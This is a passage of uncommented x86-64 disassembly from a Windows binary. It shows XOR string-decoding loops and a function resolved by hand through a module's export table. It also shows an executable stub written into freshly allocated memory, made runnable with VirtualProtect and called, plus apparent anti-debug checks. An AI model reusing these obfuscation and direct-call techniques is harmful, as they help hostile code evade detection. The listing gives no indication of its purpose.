and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r12
add r10, 0x22
movabs rax, 0x5208280e80
cmp r9, rax
jb 0x14001ca69
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008c368
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x140101010], r14
jne 0x14001cb37
mov ecx, 0x26b0
call fcn.140090c2c
test rax, rax
je 0x14001cb37
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x140101010], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400df700]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.140026b6c
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x14001cb76
mov byte [rbp + 0x7ff], r14b
mov rbx, qword [0x140101010]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14001cc95
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001cc4d
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.140090c2c
mov rsi, rax
test rax, rax
je 0x14001cc92
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140101010]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400aee20
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400af4c0
mov rcx, rdi
call fcn.140090b08
mov qword [0x140101010], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140026a84
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x14001ccb6
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x140101010]
test rbx, rbx
je 0x14001cdc0
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001cd7a
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.140090c2c
mov rsi, rax
test rax, rax
je 0x14001cdbd
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140101010]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400aee20
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400af4c0
mov rcx, rdi
call fcn.140090b08
mov qword [0x140101010], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001cfef
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001cfef
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001cfef
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001cfef
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001cfef
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001ce54
inc rax
test edi, edi
jne 0x14001ce3f
test r8d, r8d
je 0x14001ce66
inc rdx
cmp rdx, rsi
jb 0x14001ce2e
jmp 0x14001cfef
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001cfef
mov r14d, dword [rdx + 4]
xor r15d, r15d
test r14d, r14d
jns 0x14001ce8b
mov r14d, r15d
jmp 0x14001cfef
mov r9d, 4
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1400853a0
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.140027648
lea rcx, [rbp + 0x87b0]
call fcn.140026be0
mov ebx, eax
movabs rax, 0xc0906c513cedb3
mul rbx
mov ecx, ebx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rbx, rax
mov rdi, r15
lea rcx, [rbp + 0x87b0]
call fcn.140026be0
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14001cf02
mov r8, r12
lea rdx, [rbp + 0x466e0]
mov rcx, rsi
call fcn.1400aee20
mov dword [0x1400f7464], r14d
lea rdi, [rbx + rsi]
movsd xmm0, qword [0x1400f7460]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f7468]
mov word [rdi + 8], ax
mov al, byte [0x1400f746a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xfcc], r15d
lea r9, [rbp + 0xfcc]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8d, 3
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov r14d, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400af4c0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400f7464], r15d
mov rdi, qword [0x140101010]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
mov esi, edx
test r15, r15
jle 0x14001d0a3
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14001d091
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14001d091
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14001d056
xor edx, edx
call fcn.1400af4c0
jmp 0x14001d08f
cmp al, 1
jne 0x14001d091
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.1400273b0
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.140027564
lea rcx, [rbp + 0x1168]
call fcn.1400274f4
lea rcx, [rbp + 0x1168]
call fcn.140011728
xor edx, edx
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x14001d01a
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400af4c0
mov rcx, rdi
call fcn.140090b08
xor r15d, r15d
mov qword [0x140101010], r15
test r14d, r14d
js 0x140025535
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x140025535
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.140090c2c
test rax, rax
je 0x14001d107
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x140101010], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400df700]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.140026b6c
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x14001d14a
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x140101010]
test rbx, rbx
je 0x14001d271
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001d21d
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.140090c2c
mov rsi, rax
test rax, rax
je 0x14001d264
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140101010]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400aee20
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400af4c0
mov rcx, rdi
call fcn.140090b08
mov qword [0x140101010], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14001d267
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.140026a84
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x14001d288
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x140101010]
test rbx, rbx
je 0x14001d397
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001d34f
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.140090c2c
mov rsi, rax
test rax, rax
je 0x14001d394
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140101010]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400aee20
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400af4c0
mov rcx, rdi
call fcn.140090b08
mov qword [0x140101010], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14001d397
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001d428
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001d428
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001d428
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001d428
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001d428
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001d417
inc rax
test edi, edi
jne 0x14001d402
test r8d, r8d
je 0x14001d4a3
inc rdx
cmp rdx, rsi
jb 0x14001d3f1
mov esi, r15d
mov rdi, qword [0x140101010]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x14001d672
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14001d65f
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14001d65f
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14001d626
xor edx, edx
call fcn.1400af4c0
jmp 0x14001d65f
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001d428
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x14001d428
cmp al, 1
jne 0x14001d65f
mov rdx, rcx
lea rcx, [rbp + 0x1148]
call fcn.1400273b0
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.140027564
lea rcx, [rbp + 0x1148]
call fcn.1400274f4
lea rcx, [rbp + 0x1148]
call fcn.140011728
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x14001d458
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400af4c0
mov rcx, rdi
call fcn.140090b08
mov qword [0x140101010], r13
test esi, esi
js 0x1400253a4
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x1400253a4
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], r15
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r14d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r14
cmp r8d, 8
jb 0x14001d722
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r10b, dil
xor r10b, 0x28
mov ebx, edi
mov ecx, r13d
lea r9, [rbp + 0xf58]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf58]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x14001d79b
movzx ecx, r10b
add ecx, ebx
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r14d
add r8, r14
movsxd rax, r11d
cmp rax, 0x28
jb 0x14001d77d
mov qword [rbp + 0xf58], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], r15
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r14
cmp r8d, 8
jb 0x14001d837
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x14001d8af
movdqa xmm0, xmmword [0x1400df4d0]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], 0xbd
mov r10, r13
movabs rbx, 0x134d369a0
movabs rsi, 0x8080808080808081
movabs r8, 0x14820a03a0
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2904140740
movabs r14, 0x134d3699f
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x1400253f8
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400df710]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0xe7dbaf46
mov dword [rbp + 0x96c], 0x5959acbc
mov dword [rbp + 0x970], 0x4a5f36af
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
movabs r9, 0x21c71f8d80
lea r10d, [rax + 0x1c]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x438e3f1b00
cmp r9, rax
jb 0x1400254a3
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008c368
int3
movdqa xmm0, xmmword [0x1400df4d0]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 0xbd
mov r10, r15
movabs rbx, 0x134d369a0
movabs rsi, 0x8080808080808081
movabs r8, 0x14820a03a0
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2904140740
movabs r14, 0x134d3699f
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140025589
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400df6d0]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0x1fd7ba61
mov word [rbp + 0x754], Ordinal_200
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x195557aa20
movabs r10, 0x32aaaf5440
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x740]
xor dil, r9b
mov byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x14002562d
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008c368
int3
cmp rax, rbx
jne 0x140025771
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x2052728a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x3e65b665
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025751
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025751
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025771
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008c368
int3
movdqa xmm0, xmmword [0x1400df4d0]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], 0xbd
mov r10, r14
movabs rsi, 0x8080808080808081
movabs r8, 0x14820a03a0
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2904140740
movabs r15, 0x134d3699f
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x1400257bb
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400df610]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0xa8166fb0
mov dword [rbp + 0x82c], 0x2cdaa0
mov r8, r14
movabs r9, 0x1bbefe7d60
mov r10d, reloc.WS2_32.dll_socket
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x818]
xor dil, r8b
mov byte [rbp + r8 + 0x818], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x377dfcfac0
cmp r9, rax
jb 0x140025856
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[7]
cmp rax, rbx
jne 0x140025994
mov rax, qword gs:[0x38]
mov ecx, 0x29a87bfd
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025974
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025974
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025994
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, rbx
jne 0x140026033
mov rax, qword gs:[0x38]
movabs rcx, 0xf6959430e7eecbd0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025a2c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025a2c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026033
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
movdqa xmm0, xmmword [0x1400df4d0]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], 0xbd
mov r10, r15
movabs rbx, 0x8080808080808081
movabs r8, 0x14820a03a0
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2904140740
movabs r14, 0x134d3699f
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x368]
xor dil, r10b
mov byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140025a96
mov byte [rbp + 0x379], r15b
movdqa xmm0, xmmword [0x1400df660]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0x16d3be44
mov word [rbp + 0x76c], Ordinal_217
mov r9, r15
movabs r8, 0x195557aa20
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x32aaaf5440
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x140025b42
mov byte [rbp + 0x76d], r15b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x140025c6e
mov rax, qword gs:[0x38]
mov ecx, 0x29a87bfd
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
